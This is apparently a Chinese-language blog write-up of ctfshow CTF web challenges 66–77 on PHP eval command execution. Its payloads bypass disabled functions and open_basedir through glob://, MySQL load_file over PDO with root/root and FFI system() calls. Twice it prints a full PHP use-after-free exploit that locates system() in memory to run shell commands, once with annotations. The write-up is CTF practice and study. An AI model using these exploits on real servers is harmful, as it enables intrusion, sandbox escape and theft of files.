ctfshow web65-77

一步步将函数禁用掉,寻找新的解法;后面几道难度很大,需要反复练习

Published
Reading
1 min
Category
CTF
Tags
bypassctfshowphp
On this page
  1. web66
  2. web67
  3. web68
  4. web69
  5. web70
  6. web71
  7. web72
  8. web73
  9. web74
  10. web75
  11. web76
  12. web77

web66

<?php

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

这道题把show_source禁用了

但可以用highlight_file查看,但提示flag不在这

image-20260225005944219

所以要用scandir查看目录,找找线索:

c=print_r(scandir(’/’));

image-20260225010111103

发现根目录有一个flag.txt文件,可以查看一下 :

c=highlight_file(‘/flag.txt’);

里面就是flag了

web67

这题禁用了print_r和show_source,但我们能用var_dump和highlight_file替换:

c=var_dump(scandir('/'));
//发现flag.txt

c=highlight_file('/flag.txt');

web68

这题禁用了highlight_file,当我们可以用include

c=var_dump(scandir("/"));
//发现flag.txt

c=include('/flag.txt');

web69

这一题又把var_dump禁用了,所以要找一个冷门函数替换, 如var_export()

c=var_export(scandir('/'));
//发现flag.txt

c=include('/flag.txt');

web70

image-20260225150322705

解法和上题一样

c=var_export(scandir('/'));
//发现flag.txt

c=include('/flag.txt');

web71

这道题给了源码:

<?php

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

可以发现输出缓冲区被劫持,输出的字母和数字会被替换成 ?

我们有两种方法:

  1. 提前输出缓冲区
c=var_export(scandir("/"));ob_flush();

c=include('/flag.txt');ob_flush();
  1. 提前终止程序
c=var_export(scandir("/"));exit();

c=include('/flag.txt');exit();

web72

这道题也给源码了,和上题一样:

<?php

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

尝试访问根目录会发现被限制了,只能访问/var/www/html/ 说明这道题配置了open_basedir

image-20260225153824933

附上大佬的解析

看一下题目的hint:

c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
} 
exit(0);
?>
//通过这个发现flag在flag0.txt
//之后利用uaf的脚本进行命令执行

利用 glob:// 伪协议绕过open_basedir的限制,遍历根目录

uaf脚本,需要url编码后发送:

c=?><?php
ctfshow("ls /;cat /flag0.txt");
 
function ctfshow($cmd) {
    global $abc, $helper, $backtrace;
    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }
 
    class Helper {
        public $a, $b, $c, $d;
    }
 
    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }
 
    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf('%c',$ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }
 
    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf('%c',$v & 0xff);
            $v >>= 8;
        }
    }
 
    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }
 
    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);
 
        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);
 
        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);
 
            if($p_type == 1 && $p_flags == 6) {
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) {
                $text_size = $p_memsz;
            }
        }
 
        if(!$data_addr || !$text_size || !$data_size)
            return false;
 
        return [$data_addr, $text_size, $data_size];
    }
 
    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;
 
            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;
 
            return $data_addr + $i * 8;
        }
    }
 
    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }
 
    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);
 
            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }
 
    function trigger_uaf($arg) {
        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }
 
    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }
 
    $n_alloc = 10;
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
 
    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];
 
    $helper = new Helper;
    $helper->b = function ($x) { };
 
    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }
 
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;
 
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);
 
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);
 
    $closure_obj = str2ptr($abc, 0x20);
 
    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }
 
    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }
 
    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }
 
    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }
 
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }
 
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
 
    ($helper->b)($cmd);
    exit();
}

image-20260225201212018

下面是解析,摘自CSDN-一口一个橘子

c=?><?php
ctfshow("ls /;cat /flag0.txt");
 
function ctfshow($cmd) {
    global $abc, $helper, $backtrace;
    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            // 这个unset不知道有什么作用,可能只是事先清理一下,以防赋值触发其他的垃圾回收导致失败
            unset($this->a);
            // 先拿到堆栈,或者说我们先拿了它的指针,后面有大用
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) { 
                $backtrace = debug_backtrace();
            }
        }
    }
 	
 	// 某种结构体,猜不出来,php我甚至不知道这个结构体的内存分布
    class Helper {
        public $a, $b, $c, $d;
    }
    
 	// 8个1组,小端存储 (str ==> 小端hex)
    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }
 	
 	// 8个一组,小端存储hex,转字符串
    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf('%c',$ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }
    
 	//向字符串的指定偏移写入小端序的数值
 	//详细:把$v(小端存储)的内容写到$str偏移$p的位置,写入大小是$n
    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf('%c',$v & 0xff);
            $v >>= 8;
        }
    }
 
    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        // 查struct _zend_string,如果32位机器下ulong size_t是4字节的话,那么8+4+4刚好是0x10,这是我猜的
        // 当然,如果size_t是8怎么办,那样就是8+8+8=0x18
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        var_export($leak);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }
 
    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);
 
        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);
 
        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);
 
            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }
 
        if(!$data_addr || !$text_size || !$data_size)
            return false;
 
        return [$data_addr, $text_size, $data_size];
    }
 
    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;
 
            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;
 
            return $data_addr + $i * 8;
        }
    }
 
    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }
 
    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);
 
            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }
 
    function trigger_uaf($arg) {
        // 这里刚好是79个A,那么总占位80个字符,可能是某种结构体的大小,也可能必须是80个占位符才能实现溢出
        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }
 
    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }
 
    // 使用str_shuffle生成的字符串是结构体zend_string
    $n_alloc = 10;
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        
    
    trigger_uaf('x');
    // [ zend_string 1 ] -> [ zend_string 2 ] -> ... -> [ zend_string 10 ] -> [ 释放的 $a 内存 ]
    
    // var_export($backtrace); echo "\n<br>------------------------";
    /*
	array (
	  0 => 
	  array (
	    'file' => '/var/www/html/index.php(19) : eval()\'d code',
	    'line' => 139,
	    'function' => '__destruct',
	    'class' => 'Vuln',
	    'type' => '->',
	    'args' => 
	    array (
	    ),
	  ),
	  1 => 
	  array (
	    'file' => '/var/www/html/index.php(19) : eval()\'d code',
	    'line' => 153,
	    'function' => 'trigger_uaf',
	    'args' => 
	    array (
	      0 => 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA',
	    ),
	  ),
	  2 => 
	  array (
	    'file' => '/var/www/html/index.php(19) : eval()\'d code',
	    'line' => 3,
	    'function' => 'ctfshow',
	    'args' => 
	    array (
	      0 => 'ls /;cat /flag0.txt',
	    ),
	  ),
	  3 => 
	  array (
	    'file' => '/var/www/html/index.php',
	    'line' => 19,
	    'function' => 'eval',
	  ),
	)
	*/
	// 这里取$backtrace[1]['args'][0]也就是 trigger_uaf里的79个A,这个指针理应被释放了,却被$backtrace保存下来了
	// 这个指针被称作悬空指针,我不知道这个指针如何保存的,但不论是堆还是栈里这个指针及其内容都相当容易被覆盖
    $abc = $backtrace[1]['args'][0];
 	//var_export($abc); echo "\n<br>------------------------";
 	
 	// 这里应该是在精心构造一个闭包对象,恰好覆盖在之前使用的trigger_uaf函数堆栈上
 	// 闭包对象指的是function($x) {} 这个匿名函数对象
    $helper = new Helper;
    $helper->b = function ($x) { };
	// 这里无法成功打印$abc或是$backtrace了,因为堆栈被破坏了
	
 	// 检查是否覆盖成功,成功了不可能是0开头,也不是79个A
    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }
 	
 	// 现在需要手工恢复堆栈
 	
 	// 这里的细节只有实验了才能知道,我无法猜测
 	// 这里是在读取被覆盖的信息,这可能是一些指针
 	// 例如根据closure_handler猜测,在读取的可能是之前的闭包对象结构体的内容
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;
 
    // 这种可能是写入一些标志,这写得对照运行内存进行查看
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);
 
    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);
 
    $closure_obj = str2ptr($abc, 0x20);
 
 /*
 这段非常像找导出表的的函数
+----------------+      +-----------------+      +-----------------+
| leak()         | →    | get_binary_base | →    | parse_elf       |
| 泄漏内存数据   |      | 获取ELF基地址    |      | 解析ELF段信息   |
+----------------+      +-----------------+      +-----------------+

                   		+---------------------------------+
                  		| get_basic_funcs  定位基础函数表 |
                    	+---------------------------------+

                    	+---------------------------------+
                    	| get_system       获取system地址 |
                    	+---------------------------------+
*/
    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }
 
    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }
 
    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }
 
    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }
 
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }
 
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
 
    ($helper->b)($cmd);
    exit();
}

web73

本题没做open_basedir限制

c=var_export(scandir('/'));exit;

image-20260225202105993

然后include读取即可:

c=include('/flagc.txt');exit;

web74

这题禁了scandir,但可以用glob。

c=var_export(glob('/*'));exit;

image-20260225203426873

c=include('/flagx.txt');exit;

web75

用glob绕过open_basedir查看根目录

c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0);?>

发现flag36.txt

参考文章CSDN-My6n

利用 mysql load_file 读文件,提示中是从数据库 ctftraining 中查询的,就算我们不知道这个数据库名,也可以直接从默认的 information_schema 中查,该数据库包含了所有的数据库的内容。

c=try {
    // 使用PDO(PHP Data Objects)创建一个新的数据库连接对象,指定DSN、用户名(root)和密码(root)
    $dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');
    
    // 执行一个SQL查询,从指定的文件(/flag36.txt)中读取内容
    foreach($dbh->query('select load_file("/flag36.txt")') as $row) {  
        // 输出读取到的内容,并追加一个竖线(|)
        echo($row[0])."|";
    }
    
    // 将数据库连接对象设置为null,关闭连接
    $dbh = null;
} catch (PDOException $e) {
    // 如果发生PDO异常,输出错误信息
    echo $e->getMessage();
    // 终止脚本执行
    die();
}
 
// 终止脚本执行
exit();

web76

先扫描得到flag36.txt

c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0);?>

image-20260309190404196

同上一题

c=try {
  $dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');
  foreach($dbh->query('select load_file("/flag36d.txt")') as $row) {  
      echo($row[0])."|";
  }
  $dbh = null;
} catch (PDOException $e) {
  echo $e->getMessage();
  die();
};exit();

web77

发现 flag36x.txt 和 readflag

c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0);?>

image-20260309191708985

$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数
c=$ffi = FFI::cdef("int system(const char *command);");$a='/readflag > 1.txt';$ffi->system($a);

image-20260309192201348

Author
YU030X
Published

Images are sourced from the internet. Please contact me for removal if necessary.

Comments

Type to search posts and pages.

K to open · esc to closeSearch by Pagefind